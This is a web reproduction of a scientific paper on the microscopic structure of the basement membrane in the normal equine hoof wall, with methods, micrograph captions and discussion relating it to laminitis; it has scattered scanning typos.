Because the BM is a layer of material connecting the densely keratinised hoof and the Fibrous connective tissue emanating from the distal phalanx, 2 tissue compartments renowned for their durability, the BM too must have remarkable properties of strength and resilience.</p> <p>In order to interpret the dramatic pathological changes which appear in the tissue of the inner hoof wall when horses develop laminitis it is important First to understand the normal microanatomy of the region. Because the BM is ******ly involved in both the physiological and the anatomical relationship between the dermis and epidermis and both these regions are severely altered as laminitis develops, this study was undertaken to document the appearance of the BM lining the papillae and lamellae of the normal equine hoof wall. To determine which techniques would be most suitable for the study of BM pathology during laminitis a variety of techniques were tested.</p> <p><span style="font-size: 14pt;"><strong>Materials & Methods</strong></span></p> <p>The feet of 6 normal horses ranging in age from 7 months to 27 years and size from miniature horse to Thoroughbred were used as the source of tissues.</p> <p>All the animals were humanely killed with an overdose of pentobarbitone injected i.v. and the forelimbs disarticulated at the carpus. If tissues were required for transmission electron microscopy, the median artery was cannulated and the limbs perfused, initially with 500 ml heparinised saline and then with Kamovsky's fixative (Kamovsky 1965). Ultrathin sections were examined in a Zeiss EM 10 electron microscope and described using the nomenclature of Inoue (1989). Tissue blocks for light microscopy were cut initially from the dorsal hoof wall with a band saw, trimmed to size (8 x 8 x 4 mm) using single edged razor blades and then immersion fixed in buffered 10% formalin. Light microscopy sections (SEun thick) were stained with haematoxylin and eosin (H and E), periodic acid-Schiff (PAS), Azan and periodic acid silver methenamine (PASM). Light microscope sections for immunocytochemistry were not perfused but instead, unfixed, trimmed blocks of tissue were taken from the mid dorsal hoof wall region and immersed in liquid nitrogen. Sections 6mm in thickness were prepared on a cryostat and incubated with mouse monoclonal antibody raised against the human laminin epitope. The secondary antibody was goat anti-mouse conjugated with biotin and the reaction was made visible with a conjugate of avidin/biotinylated horse radish peroxidase reacted with 3,3-diamino benzidine tetra hydrochloride as a substrate. Control cryostat sections of human gingiva were incubated with the primary antibody and stained to ensure that the monoclonal antibody was indeed epitope specific. Control sections in which the primary antibody was missing were also prepared.</p> <p>Sections to be examined by scanning electron microscopy (SEM) were prepared in 3 ways:</p> <ol> <li>Dewaxed tissue: Blocks of mid dorsal hoof wall tissue with the dimensions 10 x 8 x 4 mm that had been fixed in buffered 10% formalin, mounted in paraffin and sectioned with a microtome were dewaxed in 4 changes of xylene for 48 h, dehydrated with ethanol and dried by the critical-point method (Lowden and Heath 1992).</li> <li>Detergent/DNAse: Small blocks of mid dorsal hoof wall lamellar tissue, trimmed with a single edge razor blade (dimensions 5 x 5 x 2 mm), were rendered acellular with detergents and enzyme using a modification of the method of Carlson and Kenney (1980). The blocks of tissue were stirred in 4 mM EDTA for 48 h at 4C and were then held in a tea strainer and washed extensively in distilled water. Next the blocks were stirred in a solution of 3% Triton X-100 for 10 hours at room temperature and after thorough washing in distilled water were transferred to 25 ml of a solution of I M NaCl containing 80 Kunitz units/ml of DNAase (Sigma type 1 ) and stirred for a further 8 hours at room temperature. Finally, after further washing in distilled water, the blocks were stirred in a solution of 4% sodium deoxycholate for a further 10 hours at room temperature. All the detergent/DNAse solutions contained 0.1% sodium azide. After washing in distilled water the sections were fixed by immersion in 4% parafonnaldehyde, 1.25% glutaraldehyde in 0.1 M phosphate buffer over night. The sections were stored in 0.1 M phosphate buffer at 4C until ready for dehydration and drying. The specimens were dehydrated from graded ethanol solutions and dried from ethanol by the critical-point method, sputter coated with gold and examined in a JSM 6400 F scanning electron microscope. Some of the sections were also prepared for examination with a Zeiss l0A-B transmission electron microscope.</li> <li>Sodium bromide: Transverse tissue blocks of the mid dorsal lamellar hoof wall and dermis (10 x 10 x 5 mm) and longitudinal sections of the coronary groove and toe, white zone, sole junction (10 x 5 x 5 mm) were trimmed with a single edged razor blade and stirred in a solution of 2 M sodium bromide, 0.1% sodium azide for 24 hours (Warfel and Hull 1984). The coronary and solar dermal papillae and the dermal lamellae were teased from their epideimal counterparts, with rat-toothed forceps. Both epidermal and dermal tissue were fixed using the procedure already described above. Some of the sections were Fixed for 8 hours before the dermis and epidermis were teased apart. Tissues were stored in 0.1 M phosphate buffer at 4C. Before dehydration through graded alcohol solutions all of the tissues were washed in distilled water and sonicated at 50-60 Hz in distilled water. The tissues were prepared for scanning electron microscopy by the already described method. Some of the lamellar tissue blocks were processed for transmission electron microscopy (TEM) and light microscopy to monitor the effect on the BM of exposure to sodium bromide.</li> </ol> <p><span style="font-size: 12pt;"><strong>Results</strong></span></p> <p><span style="font-size: 14pt;"><strong>Light Microscopy</strong></span></p> <p>Sections of the hoof wall lamellae, stained with H and E, showed the normal arrangement of secondary epidermal lamellae (SELs) interdigitating with secondary dermal lamellae (SDLs).</p> <p>The azan stained sections dramatically showed the epidermis and dermis in contrasting colours of pink and blue respectively and outlined the BM in blue against the red staining border of each SEL (Fig 1b).</p> <p>The PAS stain is known to react strongly with the carbohydrate moiety of proteins and clearly outlined the glycoprotein components of the BM of the hoof wall lamellae as a fine magenta line (Fig 1c).</p> <p>The PASM stain clearly outlined the collagen component of the BM as a fine black line as well as strands of collagen in the connective tissue of the primary dermal lamellae (Fig ld).</p> <center><img src="images/stories/horshoes-graphics/basement_membrane_1.jpg" alt="basement_membrane_1" width="552" height="471" /> </center> <p><em><strong>Fig 1:</strong> Light photomicrographs of hoof wall lamellae stained with haematoxylin and eosin (A), azan (B), periodic acid Schiff (C) and periodic acid silver methenamine (D). In contrast to the other stains, haematoxylin and eosin weakly resolves the basement membrane (arrowed). The periodic acid-Schiff stain and the periodic silver methenamine stain have reacted with different components of the basement membrane: glycoprotein and collagen respectively. PEL= primary epidermal lamellae, SEL= secondary epidermal lamellae, PDL=primary dermal lamellae Bar = 50um </em></p> <hr width="500" align="center" /> <p>The immunolabelling of equine BM with a mouse monoclonal antibody raised against the human BM structural protein laminin also gave a positive result. The reaction with anti laminin outlined clearly the equine lamellar BM and the BM of the arteries, capillaries and veins in the lamellar dermis (Fig 2).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_2.jpg" alt="basement_membrane_2" width="336" height="231" /> </center> <p><em><strong>Fig 2:</strong> Immunolabelling with mouse anti-human laminin reacted with the BM of the lamellae (arrowed), as well as the BM of the dei-mal blood vessels (arrow heads). Bar = 25 um.</em></p> <hr width="500" align="center" /> <p>A similar reaction in sections of human gingiva confirmed that the monoclonal anti laminin antibody was epitope specific and had cross reacted with equine BM laminin. Control sections from which the primary antibody was missing showed no immunoreactivity.</p> <p><span style="font-size: 14pt;"><strong>Transmission Electron Microscopy</strong></span></p> <p>Transmission electron microscopic examination of lamellar tissues showed the 3 layered BM following the plicated contour of the epidermal basal cells (Fig 3). Adjoining the plasmalemma of the epidermal cells was a pale staining layer, the lamina lucida. Fine strands crossed the lamina lucida, seeming to connect the plasmalemma of the epidermal basal cell to the next layer of the BM, the opaque lamina densa. At the tip of many SELs the lamina densa gave off dense staining extensions into the adjoining connective tissue (Fig 3).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_3.jpg" alt="basement_membrane_3" width="332" height="258" /> </center> <p><em><strong>Fig 3:</strong> Transmission electron micrograph of the basement membrane of a secondary epidermal lamellar basal cell (BC). Between the plasmalemma (P) of the basal cell and the dark staining lamina densa(LD) is the pale staining lamina lucida (LL). Dense staining extentions(E) of the lamina densa penetrate into the fibril and connective tissue network of the pars fibro reticularis (PFR). Within the pars fibroreticularis are many anchoring fibrils (arrowheads) which form a mesh of recurving loops. X25,000.</em></p> <hr width="500" align="center" /> <p>Surrounding the extensions and bordering the lamina densa was a network of fine strands which formed the final layer of the BM, the pars fibro reticulais. The lace work of fine strands forming the pars fibro reticular is enveloped the numerous collagen fibrils of the surrounding connective tissue and merged with them. Among the network of fine strands were many larger diameter, banded, anchoring fibrils which formed a mesh of recurving loops (Fig 4). At the tips of many SDLs the BMs merged and became double, penetrating a short distance between adjacent epidermal basal cells. The double BMs had a central lamina densa and a lamina lucida on either side.</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_4.jpg" alt="basement_membrane_4" width="334" height="360" /> </center> <p><em><strong>Fig 4:</strong> Transmission electron micrograph of the basement membrane of a secondary epidermal lamellar basal cell. When hemidesmosomes (HD) are present in the basal cell plasmalemma (P) the number of fine cords (arrowheads) crisscrossing the lamina lucida (LL) is increased. At this magnification the banding of the anchoring fibrils (AF) of the pars fibroreticularis (.an be clearly seen. The anchoring fibrily appear to enmesh the circular cross sections of several collagen fibrils. An oblique section (arrowed) of an extension (E) of the lamina densa (LD) shows the network of fine fibrils which make up the body of the basement membrane. X40,000.</em></p> <p><span style="font-size: 14pt;"><strong>Scanning Electron Microscopy</strong></span></p> <ol> <li>Dewaxed tissue: Blocks of lamellar tissue which had been dewaxed and dried after being fixed, embedded in paraffin and cut with a microtome were of limited use for the study of the lamellar BM. There were many splits and tears between the dermis and epidermis making reliable interpretation difficult.</li> <li>Detergent/DNAse: Examination with the scanning electron microscope of mid dorsal hoof wall lamellar tissue blocks showed that the detergent/DNAse treatment had rendered the tissue acellular. At low magnification, because a large proportion of the tissue blocks consisted of extracellular matrix (connective tissue, BM and keratinised epidermis), the general appearance of the blocks resembled the untreated dewaxed lamellar tissue blocks. Therefore the PELs of the hoof wall proper and the SELs on each PEL were recognisable landmarks. However, a space surrounded each SEL and there was no contact between the SELs and the adjacent SDLs. DNAse had removed cell nuclei and the detergent treatment had solubilized the cell membranes and cytoplasm between adjoining basal cells (Fig 5). The BM remained firmly attached to the connective tissue of each wafer- like SDL so only the epidermal surface of the BM was visible. The surface of the exposed BM was generally smooth with a few folds and wrinkles.</li> </ol> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_5.jpg" alt="basement_membrane_5" width="336" height="218" /> </center> <p><em><strong>Fig 5:</strong> The cut surface of 2 secondary epidermal lamellae (SELS) after detergent/enzyme treatment. Holes on the cut surface of the SEL (arrow heads) show where DNAse has removed the cell nuclei. Detergent solubilisation has removed cell membranes and cytoplasm between adjoining basal cells thus exposing the partially keratinised Cytoskeleton of each cell. The secondary dermal lamellae (arrowed) between the SELs are wafer like and expose the smooth epidermal surface of the basement membrane (BM). X l,700, bar = 10 um.</em></p> <hr width="500" align="center" /> <p>Examination of ultrathin sections of the enzyme/detergent treated tissue with the transmission electron microscope (TEM) confirmed that the epidermal basal cells were anuclear and had lost their cytoplasm and cell membranes (Fig 6).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_6.jpg" alt="basement_membrane_6" width="327" height="501" /> </center> <p><em><strong>Fig 6:</strong> Transmission electron micrograph of epidermal basal cell (E) adjacent dermis of hoof viol/ lamella after detergent/DNAase treatment. The basement membrane (arrowed) is intact and remains part of the dermis (D) of the SDL. There is a space between the basement membrane and the basal cell which is without a cell membrane. Hemidesmosomes (arrowheads) appear to be the last structures to detach from the BM. A few cords crossing the dilated lamina lucida (LL) remain between hemidesmosomes and the BM. X 31,500</em></p> <hr width="500" align="center" /> <p>The dark staining lamina densa of the BM had survived the treatment and had separated intact with the connective tissue of the SDLs. Examination of the surfaces of the acellular tissue blocks with the SEM, showed where large sections of the BM and the attached dermal connective tissue had separated from the epidermis. The exposed SEL basal cells, lacking cytoplasm, cell membranes or nuclei and consisting only of keratinised extracellular matrix retained its shape and architecture. On the other hand the BM and the dermis appeared softer and more compliant and were often located in collapsed folds beside the epidermis (Fig 7).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_7.jpg" alt="basement_membrane_7" width="330" height="462" /> </center> <p><em><strong>Fig 7:</strong> SEM of the side of a detergent/DNAse treated lamellar tissue block. The keratinised extracellular matrix of the secondary epidermal lamellae (SELS) has maintained its shape and architecture despite being anuclear and without cytoplasm or cell membranes. Apparently and more compliant the BM has separated from the epidermis and lies softer like a fallen curtain. The raised folds in the fabric of the basement membrane (BM) represent collapsed secondary dermal lamellae (SDLS) which have slipped from their original location, between the SELS. X750, bar= 10 um.</em></p> <hr width="500" align="center" /> <p>Oblique sectioning of the lamellar tissue blocks, near the tips of the SELs, sometimes caused the detergent/DNAse treatment to completely remove the SEL tips. The remaining SDLs resembled empty shells and showed how the BM was able to preserve the shape of the lamellar tips despite being unsupported by the cornified epidermal cells (Fig 8).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_8.jpg" alt="basement_membrane_8" width="330" height="438" /> </center> <p><em><strong>Fig 8:</strong> SEM of detergent/DNAse treated lamellar tissue block cut obliquely across the tips of several secondary lamellae. The separated tips of the secondary epidermal lamellae are missing, leaving behind empty shells of basement membrane (BM) lined secondary dermal lamellae (arrowheads). The remarkable rigidity of the BM has preserved the architecture of the dermal lamellae despite being deprived of the support of its complementary epidermal lamellae. X 230, bar= 100 um</em></p> <hr width="500" align="center" /> <p>These sections provided the opportunity to examine the cut edges of SDL at higher magnification and showed the interconnecting cords of fine connective tissue which lined the dermal surface of the BM (Fig 9).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_9.jpg" alt="basement_membrane_9" width="246" height="190" /> </center> <p><em><strong>Fig 9:</strong> SEM of the cut edge of a secondary dermal lamella (SDL) from which the epidermal cells have been removed by detergent/DNAase treatment. A tear in the cut edge of the BM shows the loops of fine connective tissue of the pars fibroreticularis, still attached to the dermal surface of the folded back basement membrane (BM). Beneath the tear is the dense mat of connective tissue fibres of the body of the SDL. X2,500, bar = 10um.</em></p> <hr width="500" align="center" /> <p>3. Sodium bromide: After incubation of hoof wall tissue blocks with sodium bromide for 24 hours the dermis was easy to separate from the epidermis. However, when the separated dermis was placed in fixative rapid shrinkage took, place resulting in distortion, particularly of the papillae which became entangled with one another. When the papilliform hoof wall dermis was fixed in situ the papillae retained their natural shape, even after critical point drying, and resembled a brush border of tapering hairs (Fig 15). If the washing of the fixed dermis in distilled water step was omitted, small salt crystals dotted the BM surface and marred interpretation. Sonication of the tissues caused no apparent damage and successfully cleaned the BM surface of loose and unattached debris.</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_10.jpg" alt="basement_membrane_10" width="330" height="252" /> </center> <p><em><strong>Fig 10:</strong> The cut surface of sodium bromide treated lamellar dermis the epidermal lamellae have been teased away. The sublamellar veins (V) are close to the bases of the primary dermal lamellae (PDLS) which are packed with dense connective tissue. The architecture of most of wafer like secondary dermal lamellae (arrowed head) is well preserved despite the absence of an epidermal Framework. The SDLs which in life interdigitate with the SELs of the PEL tip are shorter than more peripheral SELs. X70, bar = 100 um.</em></p> <hr width="500" align="center" /> <p>The architecture of the hoof wall dermis, covered with an intact BM, could be viewed `en face' with the SEM. In the lamellar region the PDLs and SDLs retained their natural shape despite lacking the support of an adjacent epidermis. The SDLs, which in life interdigitate with the SELs of the PEL tips, were relatively short and were spaced well apart to accommodate the rounded club shaped SELs in this region (Fig 10). The remainder of the SDLs, in the mid lamellar region and at the PDL tips were longer and resembled wafers (Fig 11).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_11.jpg" alt="basement_membrane_11" width="334" height="242" /> </center> <p><em><strong>Fig 11:</strong> The cut surface of the mid region of a primary dermal lamella (PDL) from which the epidermal lamellae have been teased away after sodium bromide treatment. The relatively thick diameter connective tissue fibres of the PDL merge with the finer fibrils and cords of the secondary dermal lamella (arrowheads). Each wafer-like secondary dermal lamella is covered, on both sides, with an intact sheet of basement membrane. X 350, bar = 100 um.</em></p> <hr width="500" align="center" /> <p>At higher magnifications the exposed surface of the lamellar BM, from which the epidermal basal cells had been removed, had an overall smooth appearance marked with numerous small indentations and fine wrinkles (Fig 12). No tears or rents in the BM were ever observed on the surfaces of the SDLs. Connective tissue fibres were only observed at the cut edges of PDLs and SDLs (Fig 11 and 12). The connective tissue at these sites closely resembled the fine fibres and cords seen at the cut surfaces of lamellae after detergent/DNAse treatment (Fig 9).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_12.jpg" alt="basement_membrane_12" width="330" height="250" /> </center> <p><em><strong>Fig 12:</strong> Two SDLs covered with intact basement membrane (BM) after the epidermal basal cells have been removed by sodium bromide treatment. The smooth indentations (arrowheads) on the surface of the BM ate where epidermal basal cells were attached. The rough areas and tags are presumably the remnants of the basal cell plasmalemma. There were never any tears or holes in the BM. X 1,000 bar = 10 um.</em></p> <hr width="500" align="center" /> <p>Occasionally, the separation caused by the sodium bromide treatment was incomplete and remnants of the plasmalemma of the basal cells created a reticular pattern on the BM surface (Fig 12).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_13.jpg" alt="basement_membrane_13" width="330" height="258" /> </center> <p><em><strong>Fig 13:</strong> SEM of the basement membrane on the surface of a proximal hoof wall, primary dermal lamella (PDL), affer sodium bromide treatment. The parallel secondary dermal lamellae (SDLS) arise as folds on the BM surface (arrowheads). The most provinial zone of the PDL (arrowed) has SDLs only on its most peripheral portion (in life, between the bases of the primary epidermal lamellae). The remainder of the SDLs arise along an oblique dorso-palmar line until SDLs cover the entire surface of the PDL. X 35, bar = 1mm.</em></p> <hr width="500" align="center" /> <p>SDLs were absent on the BM surface of the proximal dermal lamellae close to the coronary/lamellar border (Fig 13). Because the BM surface of dermal lamella was scanned in a proximo- distal direction SDLs appeared as raised folds, of gradually increasing height, on the surface of the BM (Fig 14). The first to appear were at the tips of the PDLs and the rest arose along an oblique line until the entire surface of the PDL bore its full complement of SDLs (Fig 13).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_14.jpg" alt="basement_membrane_14" width="328" height="412" /> </center> <p><em><strong>Fig 14:</strong> SEM of the area boxed in Fig 16 showing the origin of the secondary lamellae as folds (arrowed) in the basement membrane of the primary dermal lamellae. X 400, bar = 10um</em></p> <hr width="500" align="center" /> <p>The surface of the BM covering the papillae was strikingly different from the lamellar BM (Fig 15). On the surface of each long thin tapering papilla were numerous parallel ridges giving each papilla a fluted appearance. In the valleys between the ridges the BM surface bore smaller ridges which formed a branching reticular network (Fig 16).</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_15.jpg" alt="basement_membrane_15" width="330" height="270" /> </center> <p><em><strong>Fig 15:</strong> The basement membrane covered surface of several dermal papillae (P) after the epidermal hoof wall at the coronet has been removed by treatment with sodium bromide. The papillae were fixed in situ and even after removal from the coronarv groove of the proximal hoof wall have retained their. natural shape. The BM on the surface of the papillae is folded into numerous ridges, parallel with the long axis giving each papilla a fluted appearance The cut edge of the coronary cushion is packed with dense connective tissue (C) X 75, bar = 100um.</em></p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_16.jpg" alt="basement_membrane_16" width="332" height="416" /> </center> <p><em><strong>Fig 16:</strong> The basement membrane (BM) on the surface of a coronary dermal papilla after sodium bromide treatment. In the valleys between the prominent parallel ridges (arrowed) the surface of the BM has a reticular pattern of finer ridges. X 1,500, bar = 10 um.</em></p> <hr width="500" align="center" /> <p>At the distal end of each dermal lamella the SDLs were the tapering terminal papillae (Fig 17). The basement membranes of the terminal papillae and coronary papillae had a similar ridged appearance. Some of the SDLs were continuous with the parallel ridges of the terminal papillae.</p> <hr width="500" align="center" /> <center><img src="images/stories/horshoes-graphics/basement_membrane_17.jpg" alt="basement_membrane_17" width="333" height="543" /> </center> <p><em><strong>Fig 17:</strong> At the distal end of each dermal lamella the seconda dermal lamellae (SDLS) lose their leaf shape and fuse with the tapering terminal papillae (TP). The basement membrane of the terminal papillae is folded into parallel ridges similar to the coronary papillae. Some of the SDLs are continuous with the ridges on the basement membrane of the terminal papillae (arrowed). Some fine terminal papillae appear to have budded off from the peripheral edge of the SDLs (arrowheads). X 80, bar = 100um.</em></p> <p><span style="font-size: 14pt;"><strong>Discussion</strong></span></p> <p>Staining sections for light microscopy with PAS, azan and PASM clearly showed the BM at the dermal-epidermal junction of the equine foot and for this purpose were superior to H and E. The BM closely followed the contours of the epidemial lamellae and papillae and there were no spaces between the BM and the basal plasmalemma of the epidermal germinal cells. The use of the special connective stains highlighted the BM and showed that the tips of the SELs were always rounded and that tips of SDLs were always tapered. The BM at the tip of the SDLs, even at the light level, could be seen to penetrate between adjacent epidermal cells deep into the crypts between pairs of SELs. The tips of the SDLs were uniformly arranged on either side of PEL bases and approached the cornified axial spine of the PEL quite closely (a distance equivalent to the length of 1-2 basal cells).</p> <p>The PAS stain showed the BM as an isolated dark magenta line and presumably was locating the non collagenous glycoprotein components of the BM. During the past 30 years a number of non collagenous components have been identified in basement membranes namely the glycoproteins laminin, fibronectin, nidogen and amyloid P component, the sulphated glycoprotein entactin and heparin sulphate proteoglycan (Inoue 1989).</p> <p>On the other hand the PASM stain is considered to principally stain the collagen component of the BM namely collagen type IV (Rambourg and Leblond 1967). Since both the PAS and PASM stains resolve the BM as the same single membrane it has been concluded from this and much immunolabelling evidence that the BM is a complex lattice work of both collagen and glycoprotein molecules (Inoue 1989).</p> <p>The azan stain, a more general purpose connective tissue stain, was useful in estimating the amount and texture of the connective tissue in each SDL and PDL as well as outlining the BM. The texture of the connective tissue in the SDLs was fine and formed a halo around the tip of the SELs where it merged with the thicker collagen bundles of the PDL (Fig 1b).</p> <p>This combination of connective tissue stains in conjunction with routine H and E staining should provide additional information about the lamellar pathology which occurs during laminitis.</p> <p>The glycoprotein laminin, one of the major non collagenous components of BMs, was identified in equine lamellar BM by immunolabelling with the monoclonal mouse anti-human laminin.</p> <p>Because laminin plays an important role in the differentiation and attachment of the closely associated epidermal cells and heparin sulphate proteoglycan is believed to influence the passage of ions across the BM (Leblond and Inoue 1989), the loss of these molecules from the lamellar BM, such as may occur during developmental laminitis, would have important implications in laminitis pathophysiology. Because plasminogen activator and plasminogen are synthesised in mammalian epidermal basal cells (Lazarus 1985) and plasmin, which can digest laminin (Liotta et al. 1981), may attain high concentrations in plasma during disease states such as endotoxaemia, an investigation into the role of plasmin and other circulating proteases may be fruitful for students of laminitis.</p> <p>The 3 layered ultrastructural nature of the lamellar BM was similar to that described for the rat foot pad BM by Inoue (1989) and Leblond and Inoue (1989). Extensions of the lamina densa into the underlying collagen were common and appeared to have a high frequency of occurrence around the tips of the SELs. Because the extensions increase the surface area of attachment between the BM and the surrounding connective tissue, the provision of many extensions would seem logical in the horses foot, considering the load experienced by this relatively large ungulate, weight bearing, on single digits. Lamina densa extensions were smaller and less common near the tips of the SDLs. A feature of the pars fibroreticularis in the equine hoof BM were the large numbers of banded anchoring fibrils. They formed a mesh of recurving loops over the dermal surface of the lamina densa which intertwined with the surrounding dermal connective tissue.</p> <p>The presence of double basement membranes at the tips of SDLs is unusual and appears not to have been described before. Double BMs are usually associated with capillaries, where the BM peripheral to the endothelium of a capillary is closely applied to the BM of an epithelial cell layer and the BMs merge (Leblond and Inoue 1989). The double BMs found in the lamellae of the equine digit may confer extra strength.</p> <p>The results of the ultrastructural investigation of the lamellar BM reported here concur with those of recent authors such as Leblond and Inoue (1989). In 1967, the electron microscope technique of Stump (1967), using formaldehyde Fixation, which is now known to produce weak BM staining (Inoue 1989), failed to resolve any `fibres' connecting the epidemial basal cells to the adjacent dermis. In fact there are innumerable fine Fibrils crisscrossing the lamina lucida (opposite hemidesmosomes in particular), forming the important physical link between epidermis and dermis.</p> <p>The equine lamellar BM appears to have an increased proportion of those features which confer strength and resiliency to the BM and its adjoining tissues. Therefore, where hemidesmosomes occurred there was an increased density of fine cords crossing the lamina lucida and connecting the cytoskeleton of the epidermal cell (via the tonofilaments converging on the attachment plaque of the hemidesmosome) directly to the lamina densa. Extensions of the lamina densa around the tips of SELs, many anchoring fibrils in the pars fibroreticularis and the presence of double BMs at the tips of SDLs appear to increase the surface area of attachment between the epidermal cells of the hoof, the subjacent connective tissue and ultimately the surface of the distal phalanx.</p> <p>The current concept of the BM is that, instead of it being an amorphous cement layer, as was originally thought (Vracko 1974), it is a 3 dimensional anastomosing lattice work of Fine interconnecting cords (Leblond and Inoue 1989). The axial skeleton of the cord network consists of filaments of collagen IV. The collagen IV filaments are ensheathed with glycoproteins, in particular laminin, to become the more electron dense network of cords known as the lamina densa. Digestion of BM with plasmin exposes the collagen IV axial core and reduces the network of cords to a network of finer filaments (Leblond and Inoue 1989). If exposure of the lamellar BM to plasmin and other proteases were to occur during developmental laminitis the possibility exists that the BM could be weakened and therefore contribute to the acute lamellar degeneration which occurs. Transmission electron microscopy and immunolabelling with antibodies directed against BM structural proteins would appear to be useful techniques to explore this possibility.</p> <p>In this study the tissues were perfused, fixed and dehydrated using a conventional glutaraldehyde based preparation technique and essentially the BM consisted of 2 layers, the lamina densa and the lamina lucida. Recently, a more sophisticated preparation technique using cryofixation-freeze substitution and aldehyde- freeze substitution of a wide range of tissues (including the rat foot pad) has conclusively demonstrated that the lamina lucida is actually an artifact of dehydration and in fact does not exist (Chan et a1. 1993). The BM was composed solely of a lamina densa attached directly to the glycocalyx of the plasmalemma of the adjoining epithelial cells, without an intervening lamina lucida. Cords of the lamina densa interacted with elements of the plasmalemma glycocalyx presumably at laminin receptor sites. Because laminin is a major structural component of the lamina densa Chan et al. (1993) concluded that binding of BM laminin to the laminin receptors in the glycocalyx of the epithelial cell plasmalemma is the mechanism by which the BM remains in close contact to the adjacent epithelium.</p> <p>The discovery that the BM of both the coronary and terminal papillae is folded into numerous ridges, parallel with the long axis of the papilla, adds to our perception of the microanatomy of the equine inner hoof wall. The longitudinal ridges of the papillae are analogous to the folds which arise on the shoulders of the proximal lamellae and give rise to the secondary dermal and epidermal lamellae (SDLs and SELs). They probably share the similar role of increasing the surface area of attachment between the hoof and the distal phalanx. They may also act as guides or channels directing the keratinising daughter cells of the rapidly proliferating epidermal basal cells in a correctly oriented proximo-distal direction. Detailed light microscope studies of the proximal hoof wall by Leach (1980) showed that the most proximal lamellae were devoid of secondary lamellae. As sections were made in a more distal direction, the BM became folded to form SELs, initially at the bases of the PELs and then progressively towards the tips. This study corroborates the findings of Leach (1980) by using an unrelated technique (sodium bromide treatment and scanning electron microscopy) to show that the secondary lamellae originate as folds in the BM of the proximal primary lamellae.</p> <p>Exposure of the hoof wall BM, by removing the overlying epidermal basal cells with either the detergent/enzyme or the sodium bromide technique, allows almost the entire surface of the BM to be examined in detail. The results of this study show that the BM survives the rigours of processing for scanning electron microscopy remarkably intact and free of defects and this despite the absence of a supporting epidermal framework. If these new techniques are applied to hoof wall tissues affected by laminitis and lesions in the BM and the underlying connective tissue are revealed, then these phenomena can be safely attributed to the pathology of laminitis and not to artifacts of the technique.</p> <p><span style="font-size: 14pt;"><strong>Acknowledgments</strong></span></p> <p>The invaluable help of the following is gratefully acknowledged: Chris Haller for transmission electron microscopy, Susan Therkelsen and Soney Baigent for light microscopy, Dr. Philip Bird and Lindsay Xu for immunocytochemistry and Dr. Bronwen Cribb, John Nailon and Ron Rasch for scanning electron microscopy. Thanks also to Margaret Muncaster for typing the manuscript. This research project was funded by a generous grant from O'Dwyer Horseshoes Pty Ltd, Australia.</p> <p><span style="font-size: 14pt;"><strong>References</strong></span></p> <p><strong>Amevo, B. (1984)</strong> Micro-corrosion cast study of the luminal morphology of cutaneous orteriovenous anastomoses. MSc. thesis. Department of Anatomy, University of Queensland, Australia.</p> <p><strong>Amevo, B. and Molyneux, G. S. (1985)</strong> Luminal morphology of cutaneous arteriovenous anastomoses. J. Anat.152, 215.</p> <p><strong>Amoss, M. S. Gremmel, S. H. and Hood, D. M. (1982)</strong> Proceedings of First Equine Endotoxaemia-Laminitis Symposium. Endocrine involvement in induced acute laminitis. Am. Ass. Equine. Pract. Newsletter 2,135-140.</p> <p><strong>Ackerman, N., Gamer, H. E., Coffman, J. R. and Clement, J. W. (1975)</strong> Angiographic appearance of the notmal equine foot and alterations in chronic laminitis. J. Am. vet. med. Ass.166, 58-62.</p> <p><strong>Chapman, B. and Platt, G. W. (1984)</strong> Laminitis. Proc. Am. Ass. equine Pract. 30, 99- IIS.</p> <p><strong>Coffman, J. R., Johnson, J. H., Guffy, M. M. and Finocchio, E. J. (1970)</strong> Hoof circulation in equine laminitis. J. Am. vet. med. Ass.156, 76-83.</p> <p><strong>Coffman, J. R. (1972)</strong> Acute laminitis. J. Am. vet. med. Ass.161, l280-1283.</p> <p><strong>Coffman, J. R. (1984)</strong> Acute laminitis; mechanisms and therapy. In: Equine Intemal Medicine. Proceedings of the 6th Bain-Fallon Memorial Lectures. University of Sydney. Aust. Equine vet. Ass. pp 68-72.</p> <p><strong>Colles, C. M. and leffcott, L. B. (1977)</strong> Laminitis in the horse. Vet. Rec. 100, 262- 264.</p> <p><strong>Gamer, H. E. (1975)</strong> Pathophysiology of equine laminitis. Proc. Am. Ass. equine Pracr. 21,384-387.</p> <p><strong>Gannon, B. J. (1978)</strong> Vascular casting. In Prinriples and terhniques n(sconrtinh electron microscopy. Biological applications, Vol 6, Ed: M. A. Hayat, Van Nostrand-Reinhold, New York. pp l70-193</p> <p><strong>Hales, J. R. S. (1981)</strong> Use of micro5pheres to partition the microcirculation between capillaries and arteriovenous annstomoses. In "Progress in Microcirculation Research" Ed: D. Garlick. Committee in Postgraduate Medical Education, University of New South Wales, pp 395-412.</p> <p><strong>Hales, J. R. S., Fawcett, A. A. and Bennett, J. W. (1978)</strong> Radioactive nicrosphere partitioning of blood flow between capillaries and arteriovenous anastomoses in skin of conscious sheep. Pflugers Archiv. 376, 87-91.</p> <p><strong>Hales, J. R. S. and Molyneux. G. S. (l988)</strong> Control of cutaneous arteriovenous anastomoses. In: Mechanisms of Vasodilatation. Ed: P. M. Vanhoute. Raven Press, New York.</p> <p><strong>Hood, D. M., Amoss, M. S., Hightower, D., McDonald, D. R., McGrath, J. P., McMullan, W. C. and Scrutchfield, W. L. (1978)</strong> Equine laminitis In Radioisotopic analysis of the hemodynamics of the foot during Ihe acute disease. J. Equine Med. Surg. 2, 439-444.</p> 